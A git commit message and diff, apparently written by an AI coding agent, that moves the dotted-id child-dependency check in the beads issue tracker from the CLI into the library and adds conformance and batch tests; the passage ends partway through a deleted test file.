Response descriptions only: the generated types and the wireshape digest are unchanged (make api-check). - The CheckDottedChildDependency doc no longer reads as a complete list of the writers that skip the rule. Besides bd relate and the create edges it names bd duplicate, bd supersede, bd duplicates --auto-merge (its related link and its reparenting) and the tracker engine's createDependencies, and says the molecule, template and swarm writers are unaudited. bd-25s1wh's notes carry the widened scope, including `bd duplicate bd-a.1 --of bd-a`. Declined (nit): unifying the root issueops import alias across the PR's cmd/bd files. batch.go is the one file that imports both issueops packages, so one of them needs an alias there; it uses publicops, the repo's usual alias for the root package, and aliasing the other side instead would rewrite base-owned lines. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5.5 --- .../scripts/embedded-storage-test-shards.txt | 1 + .github/scripts/proxied-cmd-test-shards.txt | 1 + CHANGELOG.md | 16 ++++ backend/conformance/batch_apply_contract.go | 77 ++++++++++++++++ .../conformance/dependency_editor_contract.go | 79 ++++++++++++++++ backend/conformance/role_bundle_cases.go | 2 + cmd/bd/BUILD.bazel | 1 - cmd/bd/batch.go | 54 +++++++---- cmd/bd/batch_parity_test.go | 71 +++++++++++++++ cmd/bd/batch_proxied_server.go | 21 +---- cmd/bd/batch_test.go | 89 ++++++++++++++++++ cmd/bd/dep.go | 48 +--------- cmd/bd/dep_proxied_server.go | 9 +- cmd/bd/dep_test.go | 82 ----------------- cmd/bd/dependency_hierarchy_test.go | 55 ----------- cmd/bd/graph_apply.go | 2 +- cmd/bd/link.go | 7 +- cmd/bd/link_proxied_server.go | 5 +- internal/httpapi/batch_apply_test.go | 13 +++ internal/httpapi/dependency_edit_test.go | 14 +++ internal/httpapi/spec/openapi.v0.yaml | 24 ++++- internal/httpclient/dependencyeditor.go | 6 +- .../httpclient/served_batch_apply_test.go | 4 + .../httpclient/served_memories_deps_test.go | 39 ++++++++ .../storage/dolt/batch_apply_contract_test.go | 5 + .../dolt/dependency_editor_contract_test.go | 6 ++ .../embeddeddolt/batch_apply_contract_test.go | 3 + .../dependency_editor_contract_test.go | 6 ++ internal/storage/issueops/batch_apply.go | 6 ++ .../storage/issueops/dependency_editor.go | 9 ++ internal/storage/uow/batch_applier.go | 3 + .../storage/uow/batch_apply_contract_test.go | 3 + .../uow/dependency_editor_contract_test.go | 1 + issueops/dependencyeditor.go | 91 +++++++++++++++++-- issueops/issueops_external_test.go | 55 +++++++++++ 35 files changed, 669 insertions(+), 239 deletions(-) delete mode 100644 cmd/bd/dependency_hierarchy_test.go diff --git a/.github/scripts/embedded-storage-test-shards.txt b/.github/scripts/embedded-storage-test-shards.txt index 7e9f2991d..8e103b3e0 100644 --- a/.github/scripts/embedded-storage-test-shards.txt +++ b/.github/scripts/embedded-storage-test-shards.txt @@ -152,6 +152,7 @@ 40 3 TestCrossRecordInvariantContract 40 3 TestDepRekeyMarkerStillInIgnoredSeries 40 3 TestDoltCommitResponseLossIsIndeterminate +40 3 TestEmbeddedDependencyEditorRefusesADottedChildGatedOnItsOwnParent 40 3 TestEmbeddedDoltStoreIssueLifecycleBuildsOperations 40 3 TestEmbeddedDoltStoreIssueLifecycleRejectsNilStore 40 3 TestEmbeddedOpenReadOnly_FreshDatabaseNoWrites diff --git a/.github/scripts/proxied-cmd-test-shards.txt b/.github/scripts/proxied-cmd-test-shards.txt index 42a1fc999..72e73e898 100644 --- a/.github/scripts/proxied-cmd-test-shards.txt +++ b/.github/scripts/proxied-cmd-test-shards.txt @@ -392,6 +392,7 @@ 34 20 TestProxiedServerWispGC 34 20 TestServerModeSharedServeGlobalReportsTheServedDatabase +34 21 TestProxiedServerBatchDepAddRefusesADottedChildGatedOnItsParent 34 21 TestProxiedServerConfig 34 21 TestProxiedServerExternalPolicyDirectParity 34 21 TestProxiedServerMoleculeFrontDoorDirectServerProxyParity diff --git a/CHANGELOG.md b/CHANGELOG.md index 230391fdc..5477be6ae 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -263,6 +263,22 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 `POST /v0/beads/issues/{id}:claim` (`issueops.Claimer`) still claims a template that a `PATCH` with `claim: true` refuses. Close's guards move to the role in their own change (#7425). +- The dotted-id hierarchy refusal (a child such as `bd-abc.1` may not carry an + explicit edge to its own ancestor, other than the parent-child edge to its + immediate parent) moved from `cmd/bd` into the library as + `issueops.CheckDottedChildDependency` / `*issueops.DottedChildDependencyError` + (unwraps to `ErrValidation`). Every `DependencyEditor` (dolt, embedded, + unit of work, HTTP) and every `BatchApplier` dep_add item now enforces it, so + an HTTP `dependencies:add`, a `batch:apply` edge and `bd create --graph`'s own + edges are refused like `bd dep add` (HTTP: 400 `invalid_argument`). `bd dep + add`, `bd dep --blocks`, `bd link` and `bd dep add --file` print the same + messages as before, and a `bd batch` script's `dep add` line, which neither + backend checked, is now refused with that message and rolls the whole batch + back. The refusal is decided from the two ids, ahead of every check that + reads the stored graph, so for a child whose parent-child edge is already + stored (a `bd create --parent` child) an HTTP caller now gets that 400 where + it used to get 409 `dependency_cycle` (a blocking type) or + `dependency_exists` (any other type). - **PRs based on `hotfix/**` branches now run full CI, not just cross-version historical smokes and triage labeling.** `pr.yml`, `pr-risk.yml`, `conformance.yml`, `cross-version-smoke.yml` and diff --git a/backend/conformance/batch_apply_contract.go b/backend/conformance/batch_apply_contract.go index c2ac269d9..f6480e47a 100644 --- a/backend/conformance/batch_apply_contract.go +++ b/backend/conformance/batch_apply_contract.go @@ -2657,3 +2657,80 @@ func RunBatchApplyCloseItemsAnswerToTheCloseGuards(t *testing.T, ctx context.Con } } } + +// RunBatchApplyRefusesADottedChildGatedOnItsOwnParent pins the dotted-id +// hierarchy rule (publicops.CheckDottedChildDependency) on a dep_add item: an +// edge from a dotted-id child to its own ancestor is refused with an +// *ItemError naming the edge, and the whole request rolls back. The rule is +// applied to the RESOLVED ids, so a key bound to a dotted child this request +// creates — the `bd create --graph` shape — is refused like a stored id. +// +// POSITIVE HALF: the parent-child edge to the immediate dotted parent lands. +// +// WITH THE HIERARCHY STORED: once that edge exists (the shape `bd create +// --parent` leaves), a blocking edge on the same pair is still this validation +// refusal, not the hierarchy conflict the stored edge would raise (which does +// not match ErrValidation) — the rule reads only the resolved ids, so it +// answers first — and the stored edge survives. +func RunBatchApplyRefusesADottedChildGatedOnItsOwnParent(t *testing.T, ctx context.Context, fixture BatchApplyFixture) { + t.Helper() + parent := fixture.IssuePrefix + "-dotted" + child := parent + ".1" + minted := parent + ".2" + batchApplySeedIssue(t, ctx, fixture, parent, types.StatusOpen) + batchApplySeedIssue(t, ctx, fixture, child, types.StatusOpen) + + for _, refused := range []struct { + name string + items []publicops.ApplyItem + index int + }{ + {"a stored child blocking on its parent", []publicops.ApplyItem{ + batchApplyDepAdd(publicops.Ref{ID: child}, publicops.Ref{ID: parent}, publicops.DepBlocks, ""), + }, 0}, + {"a child this request creates blocking on its parent", []publicops.ApplyItem{ + batchApplyCreate("child", batchApplyIssue(minted, "the new child")), + batchApplyDepAdd(publicops.Ref{Key: "child"}, publicops.Ref{ID: parent}, publicops.DepBlocks, ""), + }, 1}, + } { + _, err := fixture.BatchApplier.ApplyBatch(ctx, publicops.ApplyBatchRequest{ + Actor: "apply-writer", + ForceIDPrefix: true, + Items: refused.items, + }) + if !errors.Is(err, publicops.ErrValidation) { + t.Errorf("%s: error = %v, want ErrValidation", refused.name, err) + continue + } + var itemErr *publicops.ItemError + if !errors.As(err, &itemErr) { + t.Errorf("%s: error = %v, want an *ItemError naming the edge item", refused.name, err) + continue + } + if itemErr.Index != refused.index || itemErr.Kind != publicops.ItemDepAdd { + t.Errorf("%s: ItemError = %#v, want Index %d and Kind %q", refused.name, itemErr, refused.index, publicops.ItemDepAdd) + } + } + assertBatchApplyEdgeCount(t, ctx, fixture, child, parent, 0) + assertBatchApplyRowCount(t, ctx, fixture, "issues", minted, 0) + + batchApplyMust(t, ctx, fixture, publicops.ApplyBatchRequest{ + Actor: "apply-writer", + Items: []publicops.ApplyItem{ + batchApplyDepAdd(publicops.Ref{ID: child}, publicops.Ref{ID: parent}, publicops.DepParentChild, ""), + }, + }) + assertBatchApplyEdgeCount(t, ctx, fixture, child, parent, 1) + + _, err := fixture.BatchApplier.ApplyBatch(ctx, publicops.ApplyBatchRequest{ + Actor: "apply-writer", + Items: []publicops.ApplyItem{ + batchApplyDepAdd(publicops.Ref{ID: child}, publicops.Ref{ID: parent}, publicops.DepBlocks, ""), + }, + }) + var itemErr *publicops.ItemError + if !errors.Is(err, publicops.ErrValidation) || !errors.As(err, &itemErr) { + t.Errorf("blocks on a parent whose parent-child edge is stored: error = %v, want an *ItemError matching ErrValidation", err) + } + assertBatchApplyEdgeCount(t, ctx, fixture, child, parent, 1) +} diff --git a/backend/conformance/dependency_editor_contract.go b/backend/conformance/dependency_editor_contract.go index e037e9dbe..4f5b33268 100644 --- a/backend/conformance/dependency_editor_contract.go +++ b/backend/conformance/dependency_editor_contract.go @@ -2631,3 +2631,82 @@ func dependencyEditorHistoryProbe(t *testing.T, ctx context.Context, fixture Dep assertDependencyEditorHistoryDelta(t, ctx, fixture, before, want, why) } } + +// RunDependencyEditorRefusesADottedChildGatedOnItsOwnParent pins +// publicops.CheckDottedChildDependency on the role: an explicit edge from a +// dotted-id child to its own ancestor is refused as a +// *DottedChildDependencyError (ErrValidation) on every leg, and nothing is +// written. (It is decided before any per-edge probe, so the probe-skipped +// spelling, which the wire does not publish, adds nothing here.) It used to be +// enforced only by the CLI ahead of the role, so an HTTP or embedded caller +// could gate bd-abc.1 on bd-abc. +// +// POSITIVE HALF: the hierarchy itself — a parent-child edge to the IMMEDIATE +// dotted parent — is allowed, and so is an edge between siblings. A body that +// refused every edge touching a dotted id would satisfy the refusals alone. +// +// WITH THE HIERARCHY STORED: once that parent-child edge exists (the shape +// `bd create --parent` leaves), a blocking edge on the same pair is still this +// refusal, not the type or hierarchy conflict the stored edge would raise — the +// rule reads nothing, so it answers first — and the stored edge survives. +func RunDependencyEditorRefusesADottedChildGatedOnItsOwnParent(t *testing.T, ctx context.Context, fixture DependencyEditorFixture) { + t.Helper() + parent := fixture.IssuePrefix + "-dotted" + child := parent + ".1" + grandchild := child + ".2" + sibling := parent + ".3" + for _, id := range []string{parent, child, grandchild, sibling} { + seedDependencyEditorIssue(t, ctx, fixture, id) + } + + for _, refused := range []struct { + name string + edge publicops.DependencyEdge + }{ + {"child blocks on its parent", publicops.DependencyEdge{IssueID: child, DependsOnID: parent, Type: publicops.DepBlocks}}, + {"grandchild blocks on its grandparent", publicops.DependencyEdge{IssueID: grandchild, DependsOnID: parent, Type: publicops.DepBlocks}}, + {"grandchild parent-child to its grandparent", publicops.DependencyEdge{IssueID: grandchild, DependsOnID: parent, Type: publicops.DepParentChild}}, + {"child relates to its parent", publicops.DependencyEdge{IssueID: child, DependsOnID: parent, Type: publicops.DepRelated}}, + } { + _, err := fixture.Editor.AddDependencies(ctx, publicops.AddDependenciesRequest{ + Actor: "writer", + Edges: []publicops.DependencyEdge{refused.edge}, + }) + var dotted *publicops.DottedChildDependencyError + if !errors.As(err, &dotted) { + t.Errorf("%s: error = %v, want *DottedChildDependencyError", refused.name, err) + continue + } + if !errors.Is(err, publicops.ErrValidation) { + t.Errorf("%s: error = %v, want it to match ErrValidation", refused.name, err) + } + if dotted.IssueID != refused.edge.IssueID || dotted.DependsOnID != refused.edge.DependsOnID { + t.Errorf("%s: refusal names %s -> %s, want %s -> %s", refused.name, + dotted.IssueID, dotted.DependsOnID, refused.edge.IssueID, refused.edge.DependsOnID) + } + } + assertDependencyEditorNoEdgesFrom(t, ctx, fixture, child, grandchild) + + if _, err := fixture.Editor.AddDependencies(ctx, publicops.AddDependenciesRequest{ + Actor: "writer", + Edges: []publicops.DependencyEdge{ + {IssueID: grandchild, DependsOnID: child, Type: publicops.DepParentChild}, + {IssueID: sibling, DependsOnID: child, Type: publicops.DepBlocks}, + }, + }); err != nil { + t.Fatalf("the immediate parent-child edge and a sibling edge: %v", err) + } + assertDependencyEdgeTypedCount(t, ctx, fixture, "dependencies", grandchild, child, string(publicops.DepParentChild), 1) + assertDependencyEdgeCount(t, ctx, fixture, "dependencies", sibling, child, 1) + + _, err := fixture.Editor.AddDependencies(ctx, publicops.AddDependenciesRequest{ + Actor: "writer", + Edges: []publicops.DependencyEdge{{IssueID: grandchild, DependsOnID: child, Type: publicops.DepBlocks}}, + }) + var dotted *publicops.DottedChildDependencyError + if !errors.As(err, &dotted) || !errors.Is(err, publicops.ErrValidation) { + t.Errorf("blocks on a parent whose parent-child edge is stored: error = %v, want *DottedChildDependencyError matching ErrValidation", err) + } + assertDependencyEdgeTypedCount(t, ctx, fixture, "dependencies", grandchild, child, string(publicops.DepParentChild), 1) + assertDependencyEdgeCount(t, ctx, fixture, "dependencies", grandchild, child, 1) +} diff --git a/backend/conformance/role_bundle_cases.go b/backend/conformance/role_bundle_cases.go index 27f0d762f..0555b19a5 100644 --- a/backend/conformance/role_bundle_cases.go +++ b/backend/conformance/role_bundle_cases.go @@ -61,6 +61,7 @@ var roleContractCases = []roleContract{ RunBatchApplyUpdateItemsRefuseATemplate, RunBatchApplySplicesTheMetadataOfATemplateItCreates, RunBatchApplyCloseItemsAnswerToTheCloseGuards, + RunBatchApplyRefusesADottedChildGatedOnItsOwnParent, ), roleCases("BatchCloser", "BatchCloser()", oncePerRole, @@ -301,6 +302,7 @@ var roleContractCases = []roleContract{ RunDependencyEditorAcceptsADiamond, RunDependencyEditorGateScopeFollowsTheEdgeType, RunDependencyEditorAcceptsBlockingAcrossIssueTypes, + RunDependencyEditorRefusesADottedChildGatedOnItsOwnParent, ), // The accessor named here is not an accessor at all, alone among these diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index d808cbd5d..7d1742cef 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -676,7 +676,6 @@ go_test( "dep_test.go", "dep_warning_test.go", "dependency_hierarchy_embedded_test.go", - "dependency_hierarchy_test.go", "diff_embedded_test.go", "directory_flag_test.go", "doctor_backend_guard_test.go", diff --git a/cmd/bd/batch.go b/cmd/bd/batch.go index 01c7898bb..99e8b76e1 100644 --- a/cmd/bd/batch.go +++ b/cmd/bd/batch.go @@ -15,6 +15,7 @@ import ( "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" ) // Scope note: @@ -417,27 +418,14 @@ func runBatchOp(ctx context.Context, tx storage.Transaction, op batchOp) (batchO return result, nil case "dep.add": - if len(op.args) < 2 { - return result, fmt.Errorf("dep add requires ") - } - from, to := op.args[0], op.args[1] - depType := "blocks" - if len(op.args) >= 3 { - depType = op.args[2] - } - dt := types.DependencyType(depType) - if !dt.IsValid() { - return result, fmt.Errorf("dep add: invalid dependency type %q", depType) - } - dep := &types.Dependency{ - IssueID: from, - DependsOnID: to, - Type: dt, + dep, err := batchDepAddEdge(op.args) + if err != nil { + return result, err } if err := tx.AddDependency(ctx, dep, actorName); err != nil { return result, err } - result.Target = fmt.Sprintf("%s->%s", from, to) + result.Target = fmt.Sprintf("%s->%s", dep.IssueID, dep.DependsOnID) return result, nil case "dep.remove": @@ -454,6 +442,38 @@ func runBatchOp(ctx context.Context, tx storage.Transaction, op batchOp) (batchO return result, fmt.Errorf("internal: unhandled batch op %q", op.cmd) } +// batchDepAddEdge builds the edge a `dep add [type]` line +// asks for. Both backends' dispatch switches call it, so the default type, the +// arity and type errors, and the dotted-id hierarchy rule cannot drift between +// them. +// Neither backend writes the edge through the DependencyEditor role that +// enforces that rule (storage.Transaction.AddDependency and the unit of work's +// AddDependencies verb do not), so batch asks the role's rule directly, the +// way bd link does: a script line `dep add bd-abc.1 bd-abc` is refused, and +// rolls the batch back, exactly as `bd dep add bd-abc.1 bd-abc` is. +func batchDepAddEdge(args []string) (*types.Dependency, error) { + if len(args) < 2 { + return nil, fmt.Errorf("dep add requires ") + } + from, to := args[0], args[1] + depType := "blocks" + if len(args) >= 3 { + depType = args[2] + } + dt := types.DependencyType(depType) + if !dt.IsValid() { + return nil, fmt.Errorf("dep add: invalid dependency type %q", depType) + } + if err := publicops.CheckDottedChildDependency(from, to, dt); err != nil { + return nil, err + } + return &types.Dependency{ + IssueID: from, + DependsOnID: to, + Type: dt, + }, nil +} + // parseUpdateKVs walks a slice of "key=value" tokens and builds the updates // map accepted by storage.Transaction.UpdateIssue. Only a small, documented // subset of fields is allowed — anything else is a hard error so typos in diff --git a/cmd/bd/batch_parity_test.go b/cmd/bd/batch_parity_test.go index f150c845b..d50c4d171 100644 --- a/cmd/bd/batch_parity_test.go +++ b/cmd/bd/batch_parity_test.go @@ -259,6 +259,77 @@ func assertBatchParity(t *testing.T, classic, proxied batchParityOutcome) { } } +// TestProxiedServerBatchDepAddRefusesADottedChildGatedOnItsParent pins the +// dotted-id hierarchy rule on a batched `dep add`. Neither backend writes that +// edge through the DependencyEditor role that enforces the rule, so batch asks +// the rule itself (batchDepAddEdge). Both backends must refuse bd-abc.1 -> +// bd-abc with the sentence `bd dep add` prints, name the line, and roll the +// whole batch back, while the one edge the rule allows — parent-child to the +// immediate parent — still lands. +func TestProxiedServerBatchDepAddRefusesADottedChildGatedOnItsParent(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + + type outcome struct { + refusedCode int + refusalReported bool + rolledBack bool + edgesAfterRefusal int + allowedCode int + edgesAfterAllowed int + } + outcomes := make(map[string]outcome, 2) + + for _, env := range newCrossModeEnvs(t, bd, "bdc", "bdp") { + var got outcome + + parent := env.create(t, "Dotted parent") + // An explicit dotted id stores no parent-child edge (only --parent + // does), so every edge counted below is one a batch wrote. + child := env.create(t, "Dotted child", "--id", parent+".1", "--priority", "2") + + // Line 1 is a valid write the refusal on line 2 must take back with it. + script := fmt.Sprintf("update %s priority=1\ndep add %s %s\n", child, child, parent) + stdout, stderr, code := env.runStdin(t, script, "batch") + // The failing line is named the way any failing line is, around the + // sentence `bd dep add` prints for the same edge. + refusal := fmt.Sprintf("line 2 (dep add %s %s): cannot add dependency: %s is already a child of %s.", + child, parent, child, parent) + got.refusedCode = code + got.refusalReported = strings.Contains(stdout+stderr, refusal) + got.rolledBack = env.show(t, child).Priority == 2 + got.edgesAfterRefusal = len(env.depList(t, child)) + if got.refusedCode == 0 || !got.refusalReported { + t.Errorf("[%s] batch exit=%d, want non-zero and %q\nstdout:\n%s\nstderr:\n%s", + env.mode, code, refusal, stdout, stderr) + } + + stdout, stderr, code = env.runStdin(t, fmt.Sprintf("dep add %s %s parent-child\n", child, parent), "batch") + got.allowedCode = code + if code != 0 { + t.Fatalf("[%s] batch parent-child dep add failed with exit %d\nstdout:\n%s\nstderr:\n%s", env.mode, code, stdout, stderr) + } + got.edgesAfterAllowed = len(env.depList(t, child)) + + outcomes[env.mode] = got + + if !got.rolledBack { + t.Errorf("[%s] the refused line did not roll back line 1's priority write", env.mode) + } + if got.edgesAfterRefusal != 0 { + t.Errorf("[%s] the refused batch left %d edges on the child, want 0", env.mode, got.edgesAfterRefusal) + } + if got.edgesAfterAllowed != 1 { + t.Errorf("[%s] batch parent-child dep add: %d edges on the child, want 1", env.mode, got.edgesAfterAllowed) + } + } + + if outcomes["classic"] != outcomes["proxied"] { + t.Errorf("cross-mode divergence:\nclassic=%+v\nproxied=%+v", outcomes["classic"], outcomes["proxied"]) + } +} + // depList reads the dependency records of one issue as a flat array, the shape // `bd dep list --json` documents. func (e crossModeEnv) depList(t *testing.T, id string) []map[string]any { diff --git a/cmd/bd/batch_proxied_server.go b/cmd/bd/batch_proxied_server.go index 99ccb890e..cb666214d 100644 --- a/cmd/bd/batch_proxied_server.go +++ b/cmd/bd/batch_proxied_server.go @@ -161,22 +161,9 @@ func runBatchOpUOW(ctx context.Context, uw uow.UnitOfWork, op batchOp) (batchOpR return result, nil case "dep.add": - if len(op.args) < 2 { - return result, fmt.Errorf("dep add requires ") - } - from, to := op.args[0], op.args[1] - depType := "blocks" - if len(op.args) >= 3 { - depType = op.args[2] - } - dt := types.DependencyType(depType) - if !dt.IsValid() { - return result, fmt.Errorf("dep add: invalid dependency type %q", depType) - } - dep := &types.Dependency{ - IssueID: from, - DependsOnID: to, - Type: dt, + dep, err := batchDepAddEdge(op.args) + if err != nil { + return result, err } // AddDependencies (not the single-edge AddDependency) because it lands // each edge in the plane its own SOURCE lives in, which is the routing @@ -198,7 +185,7 @@ func runBatchOpUOW(ctx context.Context, uw uow.UnitOfWork, op batchOp) (batchOpR if _, err := uw.DependencyUseCase().AddDependencies(ctx, []*types.Dependency{dep}, actorName, domain.BulkAddDepsOpts{}); err != nil { return result, err } - result.Target = fmt.Sprintf("%s->%s", from, to) + result.Target = fmt.Sprintf("%s->%s", dep.IssueID, dep.DependsOnID) return result, nil case "dep.remove": diff --git a/cmd/bd/batch_test.go b/cmd/bd/batch_test.go index 894c29010..834bd49f9 100644 --- a/cmd/bd/batch_test.go +++ b/cmd/bd/batch_test.go @@ -1,9 +1,13 @@ package main import ( + "errors" "reflect" "strings" "testing" + + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" ) func TestTokenizeBatchLine(t *testing.T) { @@ -261,6 +265,91 @@ func TestParseUpdateKVs(t *testing.T) { } } +// TestBatchDepAddEdge pins the edge a `dep add` line builds on both backends, +// and that the line asks the dotted-id hierarchy rule before either backend +// writes: the refusal is the role's own typed error, so a batch prints the +// sentence `bd dep add` prints and rolls back on it. +func TestBatchDepAddEdge(t *testing.T) { + tooLong := strings.Repeat("x", types.MaxDependencyTypeLen+1) + tests := []struct { + name string + args []string + want *types.Dependency + wantErr string + wantDotted bool + }{ + { + name: "default type is blocks", + args: []string{"bd-1", "bd-2"}, + want: &types.Dependency{IssueID: "bd-1", DependsOnID: "bd-2", Type: types.DepBlocks}, + }, + { + name: "explicit type", + args: []string{"bd-1", "bd-2", "related"}, + want: &types.Dependency{IssueID: "bd-1", DependsOnID: "bd-2", Type: types.DepRelated}, + }, + { + name: "missing to-id", + args: []string{"bd-1"}, + wantErr: "dep add requires ", + }, + { + name: "invalid type", + args: []string{"bd-1", "bd-2", tooLong}, + wantErr: `dep add: invalid dependency type "` + tooLong + `"`, + }, + { + name: "dotted child gated on its own parent", + args: []string{"bd-abc.1", "bd-abc"}, + wantDotted: true, + }, + { + name: "any explicit type up the tree, not only blocking ones", + args: []string{"bd-abc.1", "bd-abc", "related"}, + wantDotted: true, + }, + { + name: "parent-child past the immediate parent", + args: []string{"bd-abc.1.2", "bd-abc", "parent-child"}, + wantDotted: true, + }, + { + name: "parent-child to the immediate parent is the hierarchy itself", + args: []string{"bd-abc.1", "bd-abc", "parent-child"}, + want: &types.Dependency{IssueID: "bd-abc.1", DependsOnID: "bd-abc", Type: types.DepParentChild}, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got, err := batchDepAddEdge(tt.args) + switch { + case tt.wantDotted: + var dotted *publicops.DottedChildDependencyError + if !errors.As(err, &dotted) { + t.Fatalf("batchDepAddEdge(%q) = %+v, %v; want *DottedChildDependencyError", tt.args, got, err) + } + if !errors.Is(err, publicops.ErrValidation) { + t.Errorf("refusal %v does not match ErrValidation", err) + } + if dotted.IssueID != tt.args[0] || dotted.DependsOnID != tt.args[1] { + t.Errorf("refusal names %s -> %s, want %s -> %s", dotted.IssueID, dotted.DependsOnID, tt.args[0], tt.args[1]) + } + case tt.wantErr != "": + if err == nil || err.Error() != tt.wantErr { + t.Fatalf("batchDepAddEdge(%q) err = %v, want %q", tt.args, err, tt.wantErr) + } + default: + if err != nil { + t.Fatalf("batchDepAddEdge(%q): %v", tt.args, err) + } + if !reflect.DeepEqual(got, tt.want) { + t.Errorf("batchDepAddEdge(%q) = %+v, want %+v", tt.args, got, tt.want) + } + } + }) + } +} + func TestBatchCmd_Registered(t *testing.T) { // Ensure 'bd batch' is wired into rootCmd with the correct group. cmd, _, err := rootCmd.Find([]string{"batch"}) diff --git a/cmd/bd/dep.go b/cmd/bd/dep.go index e77e1e1c8..06d7ffe49 100644 --- a/cmd/bd/dep.go +++ b/cmd/bd/dep.go @@ -213,41 +213,6 @@ func resolveUnresolvedDepTarget(sourceID, dependsOnArg string, resolveErr error) return "", fmt.Errorf("resolving dependency ID %s: %v", dependsOnArg, resolveErr) } -// isChildOf returns true if childID is a hierarchical child of parentID. -// For example, "bd-abc.1" is a child of "bd-abc", and "bd-abc.1.2" is a child of "bd-abc.1". -func isChildOf(childID, parentID string) bool { - _, isAncestor := hierarchicalParentRelation(childID, parentID) - return isAncestor -} - -func hierarchicalParentRelation(childID, targetID string) (immediateParent string, isAncestor bool) { - // A child ID has the format "parentID.N" or "parentID.N.M" etc. - // Use ParseHierarchicalID to get the actual parent - _, actualParentID, depth := types.ParseHierarchicalID(childID) - if depth == 0 { - return "", false // Not a hierarchical ID - } - // Check if the immediate parent matches - if actualParentID == targetID { - return actualParentID, true - } - // Also check if targetID is an ancestor (e.g., "bd-abc" is an ancestor of "bd-abc.1.2") - return actualParentID, strings.HasPrefix(childID, targetID+".") -} - -// isDisallowedHierarchicalDependency reports whether an explicit dependency -// conflicts with hierarchy encoded in a dotted issue ID. The one allowed match -// is a parent-child edge to the immediate dotted-ID parent; blocking and other -// edge types to any parent/ancestor, plus parent-child edges to higher ancestors, -// remain rejected. -func isDisallowedHierarchicalDependency(fromID, toID string, depType types.DependencyType) bool { - immediateParent, isAncestor := hierarchicalParentRelation(fromID, toID) - if !isAncestor { - return false - } - return depType != types.DepParentChild || toID != immediateParent -} - var depCmd = &cobra.Command{ Use: "dep [issue-id]", GroupID: "deps", @@ -312,10 +277,6 @@ Examples: } defer toCleanup() - if isDisallowedHierarchicalDependency(fromID, toID, types.DepBlocks) { - return HandleErrorRespectJSON("cannot add dependency: %s is already a child of %s. Children inherit dependency on parent completion via hierarchy. Adding an explicit dependency would create a deadlock", fromID, toID) - } - opsCtx, err := issueOpsContext(ctx) if err != nil { return HandleErrorRespectJSON("%v", err) @@ -498,9 +459,8 @@ Examples: } dt := canonicalDependencyType(types.DependencyType(depType)) - if isDisallowedHierarchicalDependency(fromID, toID, dt) { - return HandleErrorRespectJSON("cannot add dependency: %s is already a child of %s. Children inherit dependency on parent completion via hierarchy. Adding an explicit dependency would create a deadlock", fromID, toID) - } + // The dotted-id hierarchy refusal is the role's + // (issueops.CheckDottedChildDependency), raised by AddDependencies below. if err := validateDependencyType(dt); err != nil { return HandleErrorRespectJSON("%v", err) @@ -827,7 +787,9 @@ func validateBulkDepEdges(ctx context.Context, edges []bulkDepEdge) ([]bulkDepEd current.DependsOnID = toID } - if isDisallowedHierarchicalDependency(current.IssueID, current.DependsOnID, current.Type) { + // The role refuses this edge too; asking the library rule here only lets + // the bulk report name every offending line before anything is written. + if issueops.IsDottedChildDependency(current.IssueID, current.DependsOnID, current.Type) { errs = append(errs, fmt.Sprintf("line %d: cannot add dependency: %s is already a child of %s", edge.Line, current.IssueID, current.DependsOnID)) resolved = append(resolved, current) continue diff --git a/cmd/bd/dep_proxied_server.go b/cmd/bd/dep_proxied_server.go index aee6b0306..86e10a1dd 100644 --- a/cmd/bd/dep_proxied_server.go +++ b/cmd/bd/dep_proxied_server.go @@ -177,10 +177,6 @@ func runDepBlocksProxiedServer(cmd *cobra.Command, ctx context.Context, blockerI return HandleErrorRespectJSON("%v", err) } - if isDisallowedHierarchicalDependency(blockedID, blockerID, types.DepBlocks) { - return HandleErrorRespectJSON("cannot add dependency: %s is already a child of %s. Children inherit dependency on parent completion via hierarchy. Adding an explicit dependency would create a deadlock", blockedID, blockerID) - } - noCycleCheck, _ := cmd.Flags().GetBool("no-cycle-check") edge := issueops.DependencyEdge{IssueID: blockedID, DependsOnID: blockerID, Type: types.DepBlocks} @@ -247,9 +243,6 @@ func runDepAddProxiedServer(cmd *cobra.Command, ctx context.Context, args []stri toID = dependsOnArg dt := canonicalDependencyType(types.DependencyType(depType)) - if isDisallowedHierarchicalDependency(fromID, toID, dt) { - return HandleErrorRespectJSON("cannot add dependency: %s is already a child of %s. Children inherit dependency on parent completion via hierarchy. Adding an explicit dependency would create a deadlock", fromID, toID) - } if err := validateDependencyType(dt); err != nil { return HandleErrorRespectJSON("%v", err) @@ -299,7 +292,7 @@ func runDepAddBulkProxied(cmd *cobra.Command, ctx context.Context, file, default depEdges := make([]issueops.DependencyEdge, 0, len(edges)) for _, edge := range edges { - if isDisallowedHierarchicalDependency(edge.IssueID, edge.DependsOnID, edge.Type) { + if issueops.IsDottedChildDependency(edge.IssueID, edge.DependsOnID, edge.Type) { return HandleErrorRespectJSON("line %d: cannot add dependency: %s is already a child of %s", edge.Line, edge.IssueID, edge.DependsOnID) } if strings.HasPrefix(edge.DependsOnID, "external:") { diff --git a/cmd/bd/dep_test.go b/cmd/bd/dep_test.go index 188e1309e..1f8e23db8 100644 --- a/cmd/bd/dep_test.go +++ b/cmd/bd/dep_test.go @@ -1080,88 +1080,6 @@ func TestTreeNodeJSONIncludesEdgeFromParent(t *testing.T) { // These tests serve as regression tests ensuring the storage layer // continues to provide user-friendly error messages. -func TestIsChildOf(t *testing.T) { - tests := []struct { - name string - childID string - parentID string - want bool - }{ - // Positive cases: should be detected as child - { - name: "direct child", - childID: "bd-abc.1", - parentID: "bd-abc", - want: true, - }, - { - name: "grandchild", - childID: "bd-abc.1.2", - parentID: "bd-abc", - want: true, - }, - { - name: "nested grandchild direct parent", - childID: "bd-abc.1.2", - parentID: "bd-abc.1", - want: true, - }, - { - name: "deeply nested child", - childID: "bd-abc.1.2.3", - parentID: "bd-abc", 